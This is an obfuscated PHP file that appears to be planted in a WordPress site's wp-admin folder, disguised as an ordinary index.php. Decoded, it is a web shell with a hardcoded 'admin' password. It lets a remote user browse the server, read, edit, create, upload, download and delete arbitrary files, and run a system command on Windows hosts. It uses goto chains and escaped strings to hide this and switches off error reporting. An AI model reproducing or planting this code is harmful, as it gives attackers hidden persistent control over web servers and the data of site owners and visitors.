File: //home/itchylondon.co.uk/public_html/wp-admin/user/855891/index.php
<?php
goto iSsn1; Qso7D: Ut1An($ZrGGg); goto XytEt; udxXg: session_start(); goto Qe_dI; ZHBdr: function q5f77() { goto MJtgj; D1BIJ: if (wz9Eg("\154\x6f\147\x69\156")) { goto lZ_5c; } goto WvP0K; C5F4h: zUFmc: goto o5dvz; xWavu: return 1; goto KHRqT; Q83kh: if (!(Wz9eG("\x70\x61\x73\x73") != Omuk8)) { goto zUFmc; } goto lDdBr; qjXLK: lZ_5c: goto Q83kh; MvgCq: GsIV8: goto D1BIJ; p0iA1: return 1; goto MvgCq; MJtgj: if (!a8el9("\x6c\x6f\x67\151\x6e")) { goto GsIV8; } goto p0iA1; o5dvz: tA76e("\x6c\x6f\147\151\x6e", 1); goto xWavu; WvP0K: return 0; goto qjXLK; lDdBr: return 0; goto C5F4h; KHRqT: } goto gj_HF; M5D3H: function o3k3x($HanjD) { return obxSf($_GET[$HanjD]) ? $_GET[$HanjD] : 0; } goto okEc3; S3bAK: if (!wz9eG("\x75\x70\x6c\157\141\144")) { goto ZU1n5; } goto Wu6s0; K2v2_: function n2_6g($Funyq) { goto jguG0; BcUa8: $XZQ5X++; goto fr95T; fr95T: goto YdYTd; goto XEJjX; gjErZ: $Funyq /= 1024; goto BcUa8; VvFgP: YdYTd: goto WmTcO; pZdLE: return round($Funyq, 2) . "\40" . $ZrGGg[$XZQ5X]; goto yH5fP; tALM0: $XZQ5X = 0; goto VvFgP; XEJjX: iUV4i: goto pZdLE; WmTcO: if (!($Funyq >= 1024 && $XZQ5X < count($ZrGGg) - 1)) { goto iUV4i; } goto rBc9p; jguG0: $ZrGGg = ["\102", "\x4b", "\x4d", "\107", "\x54", "\x50"]; goto tALM0; rBc9p: NlAK0: goto gjErZ; yH5fP: } goto IJFdg; CdEQ2: function M_VoY($Rd5Nj, $HanjD) { return !is_dir($Rd5Nj . "\57" . $HanjD) ? mkdir($Rd5Nj . "\57" . $HanjD) : 0; } goto VGk9R; A3K4M: $ZrGGg = Wvl52("\120\117\x53\x54", ["\x70" => ['', "\x50\x61\x73\163\167\157\x72\144\x3a"], "\x70\141\163\163\x77\x6f\x72\144" => ["\160\141\163\x73", ''], "\x73\165\142\x6d\151\x74" => ["\154\x6f\x67\x69\156", "\x4c\x6f\x67\151\x6e"]]); goto kWE1Y; EyWuD: $n5y0C ? ut1AN($n5y0C) : ut1An("\106\151\x6c\x65\x20\x6e\157\164\40\146\157\x75\x6e\x64"); goto zOvv9; MzLmy: if (!o3K3X("\x64\145\154\145\164\x65")) { goto NroZ1; } goto zWwXT; x03iQ: if (!o3k3X("\144\157\x77\x6e\x6c\x6f\x61\144")) { goto p0F1v; } goto dnvR9; Tn7Sl: $n5y0C = ZoqY5(o3k3X("\x65\x64\151\164")); goto EyWuD; ePJYN: function z_nOM($Rd5Nj, $HanjD) { return !is_file($Rd5Nj . "\57" . $HanjD) ? file_put_contents($Rd5Nj . "\x2f" . $HanjD, '') != false : 0; } goto CdEQ2; wY73L: function A8eL9($HanjD) { return obxsf($_SESSION[$HanjD]) ? $_SESSION[$HanjD] : 0; } goto P20Mb; XytEt: kVJYh: goto MzLmy; gj_HF: function f0lYU() { return O3k3X("\160\141\164\150") ? O3k3x("\x70\141\164\x68") : __DIR__; } goto K2v2_; VGk9R: function POTGJ($Rd5Nj, $untVc) { goto pV3Gh; ubhK7: return 1; goto rS6Lb; ucoVl: if (!move_uploaded_file($untVc["\164\x6d\x70\137\156\x61\155\x65"], $Rd5Nj . "\x2f" . $HanjD)) { goto L0rZL; } goto ubhK7; rS6Lb: L0rZL: goto WcbGs; DxesR: return 0; goto rixqL; gmZGz: if (is_file($Rd5Nj . "\x2f" . $HanjD)) { goto qt2Pl; } goto ucoVl; pV3Gh: $HanjD = basename($untVc["\x6e\141\x6d\x65"]); goto gmZGz; WcbGs: qt2Pl: goto DxesR; rixqL: } goto ZB6DU; Db7fy: NroZ1: goto GEUsW; Gitvi: function sFUb2() { goto K_4hP; mW8xm: foreach ($KVYkM as $PXVH6) { $hfkdM .= $PXVH6 != "\103\141\x70\164\x69\157\156" ? N60Hx("\77\160\x61\x74\x68\75{$PXVH6}", $PXVH6) : ''; Eov75: } goto MpdNg; MpdNg: Vi1QQ: goto qyQWL; NTTwG: $hfkdM = ''; goto mW8xm; qyQWL: return $hfkdM; goto HBO8J; K_4hP: exec("\x77\155\x69\143\x20\x6c\157\147\x69\x63\141\x6c\144\151\163\x6b\40\x67\145\164\40\143\141\x70\x74\x69\x6f\x6e", $KVYkM); goto NTTwG; HBO8J: } goto HF1so; P20Mb: function TA76E($HanjD, $WYr7s) { $_SESSION[$HanjD] = $WYr7s; } goto P0Tkc; sLFjN: jlXcA: goto Tn7Sl; i5UCz: function HjGEz($PXVH6) { goto pwMm2; A7AxL: header("\103\157\156\164\145\156\x74\x2d\144\151\x73\x70\x6f\163\x69\x74\x69\x6f\x6e\72\40\x61\164\x74\x61\x63\x68\155\145\x6e\164\x3b\146\151\154\145\x6e\x61\x6d\145\75\42" . basename($PXVH6) . "\x22"); goto msTpL; OcH9t: header("\x43\157\x6e\x74\145\x6e\164\55\124\162\x61\x6e\x73\x66\x65\162\x2d\x45\x6e\143\x6f\144\151\156\x67\72\x20\x42\151\x6e\141\162\x79"); goto A7AxL; FTIKa: header("\103\x6f\x6e\164\145\x6e\164\55\x54\171\x70\145\72\x20\x61\x70\160\x6c\x69\143\141\164\x69\157\x6e\x2f\x6f\x63\x74\145\164\x2d\x73\164\162\x65\x61\155"); goto OcH9t; FZJUF: g1ZCG: goto FTIKa; msTpL: return readfile($PXVH6); goto yRy2Z; pwMm2: if (is_file($PXVH6)) { goto g1ZCG; } goto iU3se; iU3se: return 0; goto FZJUF; yRy2Z: } goto WNrq4; ZB6DU: function Xe8RA($Rd5Nj) { goto LhRiy; qrUMM: return implode("\57", $Rd5Nj); goto S7LAv; S1MEA: rbdL7: goto k__3f; k__3f: $Rd5Nj = explode("\57", str_replace("\134", "\x2f", $Rd5Nj)); goto G4x72; G4x72: array_pop($Rd5Nj); goto qrUMM; LhRiy: if (!($Rd5Nj == '' || $Rd5Nj == "\x2f")) { goto rbdL7; } goto YMBfx; YMBfx: return $Rd5Nj; goto S1MEA; S7LAv: } goto Gitvi; xOn4l: if (!Wz9eG("\x73\141\166\145")) { goto jlXcA; } goto fHcIt; vgTmV: function ZOQy5($n5y0C) { goto OgwUZ; GRUPI: return WVl52("\120\x4f\x53\124", ["\x74\145\170\x74\x61\x72\x65\141" => ["\145\144\151\164", htmlentities(file_get_contents($n5y0C)), "\167\151\144\164\x68\x3a\61\x30\60\x25\73\12\x68\145\151\147\150\x74\72\71\60\45"], "\163\165\x62\155\x69\x74" => ["\163\141\x76\145", "\123\x61\166\x65"]]); goto xbSOx; PVq6i: return 0; goto ZOG0P; xbSOx: qL3mK: goto PVq6i; OgwUZ: if (!is_file($n5y0C)) { goto qL3mK; } goto GRUPI; ZOG0P: } goto qJG3V; SBV3L: function pA_YV($Rd5Nj) { return is_file($Rd5Nj) ? htmlentities(file_get_contents($Rd5Nj)) : 0; } goto ePJYN; pS7bx: OsVmU: goto S3bAK; hfe5m: if (!wZ9EG("\156\145\167\146\x69\x6c\x65")) { goto pNztT; } goto qC16k; HF1so: function dNWTz() { goto jA5XQ; LcGW2: foreach ($XZ1FI as $PXVH6) { goto B_xH7; g_8Dt: $LLxCF = function_exists("\160\157\163\151\170\137\x67\145\164\x70\167\165\151\x64") ? posix_getpwuid(fileowner($Rd5Nj))["\156\141\x6d\145"] : fileowner($Rd5Nj); goto Dltin; B_xH7: if (!($PXVH6 == "\x2e" || $PXVH6 == "\x2e\56")) { goto Xuj1G; } goto ODQJd; RiPOg: if (!is_file($Rd5Nj)) { goto aTqYM; } goto sv3re; HgIs7: aTqYM: goto RqbNY; hdcFk: Xuj1G: goto pyDCV; O06aI: Uu9Sn: goto l0YlZ; ASYoD: $ZrGGg = n60Hx("\77\x70\x61\x74\150\75{$Rd5Nj}", $PXVH6); goto ibzXO; mVp8o: $MOJDY = TMok7($Rd5Nj); goto ASYoD; Wi92C: $zLzqZ = "\46\43\x31\62\x38\61\71\63\73\12"; goto mVp8o; fBUPo: $XZQ5X++; goto O06aI; RqbNY: $ygxrY[] = [$zLzqZ, $XZQ5X, $ZrGGg, $DESO9, $MOJDY, $WYr7s, $LLxCF, $KVYkM]; goto fBUPo; ibzXO: $WYr7s = substr(sprintf("\x25\x6f", fileperms($Rd5Nj)), -4); goto g_8Dt; pyDCV: $Rd5Nj = $bzVtP . "\57" . $PXVH6; goto zGG6M; sv3re: $DESO9 = N2_6G(filesize($Rd5Nj)); goto ENiuf; zGG6M: $DESO9 = "\x2d\55"; goto Wi92C; Dltin: $KVYkM = (is_file($Rd5Nj) ? N60Hx("\x3f\x65\144\x69\x74\75{$Rd5Nj}", "\105\144\151\164", "\x5f\142\154\x61\x6e\153") : '') . N60hX("\77\x64\x65\154\x65\164\x65\x3d{$Rd5Nj}", "\104\x65\154\x65\164\x65", "\x5f\x62\x6c\x61\156\x6b") . (is_file($Rd5Nj) ? n60HX("\x3f\144\157\x77\x6e\154\x6f\x61\x64\75{$Rd5Nj}", "\104\x6f\x77\156\154\157\x61\144", "\137\x62\x6c\141\156\153") : ''); goto RiPOg; ODQJd: goto Uu9Sn; goto hdcFk; ENiuf: $zLzqZ = "\46\43\x31\62\70\62\62\61\73\xa"; goto HgIs7; l0YlZ: } goto sWuw6; bQdyF: return 0; goto xTpDI; hWCCG: $ygxrY = []; goto HqYd5; xTpDI: JLfX5: goto QAfad; jA5XQ: $bzVtP = F0lYU(); goto rCV9h; QAfad: $XZ1FI = scandir($bzVtP); goto hWCCG; HqYd5: $XZQ5X = 0; goto LcGW2; sWuw6: H71ip: goto BKiR6; BKiR6: return ri8BT(["\x23", "\151\x64", "\x46\x69\x6c\x65\156\x61\x6d\x65", "\123\x69\x7a\145", "\x4d\x6f\144\x69\146\151\x65\144", "\x50\x65\162\155\x73", "\x4f\x77\156\x65\x72", ''], $ygxrY); goto KiLMW; rCV9h: if (is_dir($bzVtP)) { goto JLfX5; } goto bQdyF; KiLMW: } goto A3K4M; GEUsW: if (!o3k3x("\x65\x64\151\164")) { goto GlZYA; } goto xOn4l; Wu6s0: pOTGJ(f0lYu(), $_FILES["\x66\151\154\x65"]) ? Ut1AN("\165\x70\154\157\x61\144\72\x20" . $_FILES["\x66\x69\154\x65"]["\x6e\141\x6d\145"]) : ut1AN("\125\160\x6c\x6f\141\x64\40\x45\x72\162\157\x72"); goto BSQfY; oh8MH: p0F1v: goto hfe5m; kWE1Y: if (Q5F77()) { goto kVJYh; } goto Qso7D; qJG3V: function f7zXj($Rd5Nj, $DESO9) { return is_file($Rd5Nj) ? file_put_contents($Rd5Nj, html_entity_decode($DESO9)) != false : 0; } goto SBV3L; iSsn1: echo "\xef\xbb\277"; goto k_2GT; WxYvv: function ri8bt($MOJDY, $Funyq) { goto CF3yA; Dn1sb: return "\x3c\164\x61\x62\154\x65\x3e\x3c\x74\150\x65\141\x64\76{$Reuzt}\x3c\57\164\150\x65\x61\x64\x3e\74\164\x62\157\144\x79\x3e{$PXVH6}\x3c\x2f\164\142\157\x64\171\x3e\x3c\x2f\x74\x61\x62\x6c\x65\x3e"; goto Khni4; jbghU: foreach ($Funyq as $hfkdM) { goto DWKiT; cSC0t: RH7Pw: goto HiZQB; t_5BJ: foreach ($hfkdM as $XZ1FI) { $PXVH6 .= "\x3c\x74\x64\76{$XZ1FI}\74\57\164\x64\x3e"; aaFe6: } goto cSC0t; HiZQB: $PXVH6 .= "\74\57\x74\162\x3e"; goto HdhBh; DWKiT: $PXVH6 .= "\x3c\x74\162\76"; goto t_5BJ; HdhBh: rdd2f: goto Bu39r; Bu39r: } goto NPBQn; mWzSV: a_gVh: goto aqEx7; wDPD4: foreach ($MOJDY as $bzVtP) { $Reuzt .= "\74\164\150\x3e{$bzVtP}\x3c\x2f\x74\150\x3e"; iSTpA: } goto mWzSV; aqEx7: $PXVH6 = ''; goto jbghU; NPBQn: nfzOH: goto Dn1sb; CF3yA: $Reuzt = ''; goto wDPD4; Khni4: } goto bEye0; zWwXT: LzltG(O3k3X("\144\145\154\x65\164\145")) ? uT1an("\104\145\x6c\145\164\145\x64\72\x20" . o3K3X("\144\145\154\145\x74\x65")) : uT1aN("\x46\x69\154\145\x20\156\157\x74\40\x66\157\x75\156\x64"); goto Db7fy; a0zgY: function uT1an($MOJDY) { die($MOJDY); } goto wY73L; YFj6I: exit; goto oh8MH; qC16k: z_nOm(f0lYu(), Wz9Eg("\146\x69\x6c\145\x6e\x61\x6d\x65")) ? uT1An("\103\x72\x65\141\x74\145\x3a\40" . WZ9Eg("\x66\151\154\145\156\141\155\145")) : Ut1an("\x46\x69\x6c\145\40\x65\x78\151\164\145\x73"); goto iCknG; IJFdg: function TMOk7($Rd5Nj) { return date("\x4d\40\x64\x20\131\40\x48\72\x69\72\163", filemtime($Rd5Nj)); } goto i5UCz; vRQ0n: function WVL52($zajWJ, $XZQ5X, $bzVtP = '') { goto xdPMK; JCPTx: foreach ($XZQ5X as $ygxrY => $WYr7s) { $untVc .= gyj5O($ygxrY, is_array($WYr7s) ? $WYr7s[0] : $WYr7s, obxSf($WYr7s[1]) ? $WYr7s[1] : '', OBxsf($WYr7s[2]) ? $WYr7s[2] : ''); Pu8Qq: } goto F4cRu; F4cRu: qZKcH: goto UM6R0; xdPMK: $untVc = "\74\146\x6f\x72\155\40\x6d\145\x74\150\x6f\x64\x3d{$zajWJ}\x20\x65\156\x63\x74\171\x70\x65\x3d\47{$bzVtP}\x27\76"; goto JCPTx; UM6R0: return $untVc . "\74\57\x66\157\x72\155\76"; goto rSVMn; rSVMn: } goto WxYvv; okEc3: function GYJ5o($MOJDY, $HanjD, $WYr7s = '', $DESO9 = '') { return in_array($MOJDY, ["\x74\145\x78\x74", "\x70\x61\163\163\167\x6f\x72\144", "\x73\165\142\x6d\x69\x74", "\146\151\154\x65"]) ? "\x3c\151\156\x70\165\164\x20\164\171\x70\145\75\47{$MOJDY}\47\x20\x6e\x61\155\x65\75\x27{$HanjD}\x27\x20\166\141\x6c\165\145\75\x27{$WYr7s}\x27\40\163\164\x79\x6c\x65\x3d\x27{$DESO9}\x27\x2f\76" : "\74{$MOJDY}\x20\x6e\x61\155\x65\x3d\47{$HanjD}\47\40\x73\x74\x79\x6c\145\75\x27{$DESO9}\x27\76{$WYr7s}\74\x2f{$MOJDY}\x3e"; } goto vRQ0n; P0Tkc: function WZ9eg($HanjD) { return oBXSf($_POST[$HanjD]) ? $_POST[$HanjD] : 0; } goto M5D3H; Qe_dI: define("\117\x6d\x75\153\x38", "\x61\144\155\151\156"); goto FaaaC; bEye0: function n60Hx($ZrGGg, $bzVtP, $MOJDY = '') { return "\74\141\40\150\162\x65\x66\x3d\x27{$ZrGGg}\x27\40\164\x61\x72\147\145\x74\x3d\47{$MOJDY}\x27\76{$bzVtP}\74\57\x61\76\x20"; } goto ZHBdr; BSQfY: ZU1n5: goto IVY8p; WNrq4: function lzLtG($PXVH6) { return is_file($PXVH6) ? unlink($PXVH6) : (is_dir($PXVH6) ? rmdir($PXVH6) : 0); } goto vgTmV; mQmLw: if (!WZ9Eg("\156\x65\167\144\151\x72")) { goto OsVmU; } goto BExgS; rWdd5: echo "\123\x61\x76\x65\x64"; goto sLFjN; zOvv9: GlZYA: goto x03iQ; FaaaC: function ObxSF($LLxCF) { return isset($LLxCF); } goto a0zgY; dnvR9: @readfile(hJGEZ(O3K3x("\144\157\x77\156\154\157\x61\x64"))); goto YFj6I; iCknG: pNztT: goto mQmLw; BExgS: m_voy(F0LYu(), wZ9EG("\144\x69\162\156\x61\x6d\x65")) ? UT1AN("\103\162\x65\141\x74\x65\x3a\x20" . WZ9EG("\x64\x69\162\156\141\x6d\x65")) : ut1aN("\104\x69\x72\40\145\x78\x69\164\x65\163"); goto pS7bx; fHcIt: f7ZxJ(O3K3x("\x65\144\151\164"), wz9eG("\x65\x64\151\164")); goto rWdd5; k_2GT: error_reporting(0); goto udxXg; IVY8p: echo "\x3c\x62\157\144\171\76" . WVl52("\120\x4f\123\124", ["\x74\x65\170\164" => ["\146\x69\154\x65\x6e\141\155\x65", "\x46\151\154\145\x20\x4e\141\155\x65"], "\x73\x75\142\x6d\151\164" => ["\156\145\167\x66\x69\154\x65", "\x43\162\x65\141\164\x65"]]) . WVL52("\x50\117\123\x54", ["\x74\x65\x78\164" => ["\144\x69\x72\x6e\141\155\145", "\x44\x69\162\40\116\x61\155\145"], "\163\x75\142\155\151\x74" => ["\x6e\x65\x77\x64\x69\162", "\103\162\145\x61\164\145"]]) . wVL52("\120\x4f\123\124", ["\146\x69\154\145" => "\146\151\154\145", "\163\x75\x62\155\151\x74" => ["\165\x70\154\x6f\x61\x64", "\x55\x70\154\x6f\141\144"]], "\x6d\x75\x6c\164\x69\160\x61\x72\164\57\x66\157\x72\155\55\144\141\x74\x61") . N60Hx("\77\x70\141\164\150\75" . xE8RA(f0Lyu()), "\x5b\x42\x61\143\x6b\135") . (PHP_OS_FAMILY == "\x57\151\x6e\x64\x6f\x77\x73" ? SFUb2() : '') . (is_dir(f0lyu()) ? dNWTz() : "\74\160\x72\145\x3e" . pA_yv(f0LYu()) . "\x3c\x2f\160\x72\145\x3e") . "\74\x2f\x62\x6f\x64\x79\76";
?>